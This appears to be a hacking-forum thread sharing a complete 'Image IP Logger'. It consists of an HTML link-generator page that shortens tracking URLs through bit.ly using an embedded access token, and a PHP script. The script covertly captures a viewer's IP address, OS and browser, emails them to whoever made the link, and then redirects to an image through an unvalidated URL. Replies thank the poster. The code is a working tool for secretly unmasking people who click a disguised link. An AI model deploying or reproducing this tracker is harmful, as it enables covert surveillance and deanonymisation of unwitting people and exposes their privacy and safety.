Login Register






Image IP Logger - Log hits using images filter_list
Author
Message
Image IP Logger - Log hits using images #1
Client Console: (EDIT: Change url domain to yours)
Code:
<html> <title>Image IP Logger</title> <body bgColor=#5e717f><br> <table style="background: #bed5e2;" cellspacing=0 cellpadding=0 align=center> <tr> <td style="border-right: #d8d8d8 0.75pt solid; padding-right: 6pt; border-top: #d8d8d8 0.75pt solid; padding-left: 6pt; background: #567280; padding-bottom: 6pt; border-left: #d8d8d8 0.75pt solid; width: 317.5pt; padding-top: 6pt;"> <p><b><span style="font-size: 10pt; color: #ff9900; font-family: verdana; mso-ansi-language: en">Image IP Logger</span></b></p> </td> </tr> <tr> <td style="padding-right: 6pt; padding-left: 6pt; padding-bottom: 6pt; padding-top: 6pt"><br> <center><table border=0 cellspacing=0 cellpadding=0><tr><td> <p style="margin:0cm;margin-bottom:.0001pt;line-height:115%"> <span style="font-size:9.0pt;font-family:verdana;">Link a image and receive an email everytime the image is viewed!</p> </td></tr></table> <script> function doSearch( selectedIndex, searchTerm, searchTerm2, searchTerm3 ) { if (searchTerm == "") { alert("Write your email!"); return false; } if (searchTerm2 == "") { alert("Write the destination url!"); return false; } window.open(SEARCH_DATA[selectedIndex][1],SEARCH_DATA[selectedIndex][0]); } function engine1(selectedIndex,searchTerm,searchTerm2,searchTerm3) { SEARCH_DATA= new Array(0); SEARCH_DATA[1]= new Array("a1","https://api-ssl.bitly.com/v3/shorten?access_token=d75aa27df880878ed0be09df34bebc9e557597ec&longUrl=http://site.tk/2.php?email="+escape(searchTerm)+"%26url="+escape(searchTerm2)+"%26tag="+escape(searchTerm3)+"&format=txt"); doSearch( selectedIndex, searchTerm, searchTerm2, searchTerm3); return true; } </script> </p> <table> <form name="Form1" onsubmit="javascript:engine1(this.engine.value,this.var1.value,this.var2.value,this.var3.value); return false;"> <input type="hidden" name="engine" value=1> <tr><td>Your Email:</td><td><input type="text" class="text" size="20" name="var1" value="riyu370pitu@post.wordpress.com" placeholder="Ex: email@hotmail.com"></td></tr> <tr><td>Image URL:</td><td><input type="text" class="text" size="20" name="var2" placeholder="Ex: http://www.example.com/1.jpg"></td></tr> <tr><td>Image TAG:</td><td><input type="text" class="text" size="20" name="var3" placeholder="Ex: From hackforums.net"></td></tr> <tr><td></td><td><input type="submit" value="Generate Link!" class="submit" name="submit"></td></tr> </form> </table> <iframe name="a1" frameborder="0" width="317.5pt" height="30" scrolling="no"></iframe> </p> <table style="background: #bed5e2; width: 317.5pt; border-collapse: collapse; mso-padding-alt: 6.0pt 6.0pt 6.0pt 6.0pt" cellspacing=0 cellpadding=0 width=690 align=center bgColor=#bed5e2 border=0> <tr><td style="border-right: #d8d8d8 0.75pt solid; padding-right: 6pt; border-top: #d8d8d8 0.75pt solid; padding-left: 6pt; background: #567280; padding-bottom: 6pt; border-left: #d8d8d8 0.75pt solid; width: 450pt; padding-top: 6pt; border-bottom: medium none"> <center><p><b><span style="font-size: 10pt; color: #c2dceb; font-family: verdana; mso-ansi-language: EN">Copyright © 2017-2019 Privateloader</span></center></b> </td></tr></table> </body></html>

Server script:
Code:
<?PHP function getUserIP() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } $user_ip = getUserIP(); $user_agent = $_SERVER['HTTP_USER_AGENT']; function getOS() { global $user_agent; $os_platform = "Unknown OS Platform"; $os_array = array( '/windows nt 10/i' => 'Windows 10', '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i' => 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile' ); foreach ($os_array as $regex => $value) { if (preg_match($regex, $user_agent)) { $os_platform = $value; } } return $os_platform; } function getBrowser() { global $user_agent; $browser = "Unknown Browser"; $browser_array = array( '/msie/i' => 'Internet Explorer', '/firefox/i' => 'Firefox', '/safari/i' => 'Safari', '/chrome/i' => 'Chrome', '/edge/i' => 'Edge', '/opera/i' => 'Opera', '/netscape/i' => 'Netscape', '/maxthon/i' => 'Maxthon', '/konqueror/i' => 'Konqueror', '/mobile/i' => 'Handheld Browser' ); foreach ($browser_array as $regex => $value) { if (preg_match($regex, $user_agent)) { $browser = $value; } } return $browser; } $user_os = getOS(); $user_browser = getBrowser(); $email = $_GET["email"]; $url = $_GET["url"]; $tag = $_GET["tag"]; $headers = "From: privateloader@hotmail.com" . "\r\n"; mail("$email","Your Image have been viewed","Your Image have been viewed!\n\nThe user IP is: $user_ip \n\nBrowser: $user_browser \n\nOS: $user_os\n\nTAG: $tag\n\n For more Privateloader tools just reply back to privateloader@hotmail.com!","$headers"); header("Location: $url"); die(); ?>

Reply

RE: Image IP Logger - Log hits using images #2
Don't forget to also change/add your email address.

Appreciate the script.
[Image: AD83g1A.png]

[+] 1 user Likes mothered's post
Reply

RE: Image IP Logger - Log hits using images #3
Thank you for sharing the code!

[+] 1 user Likes Jarnisto's post
Reply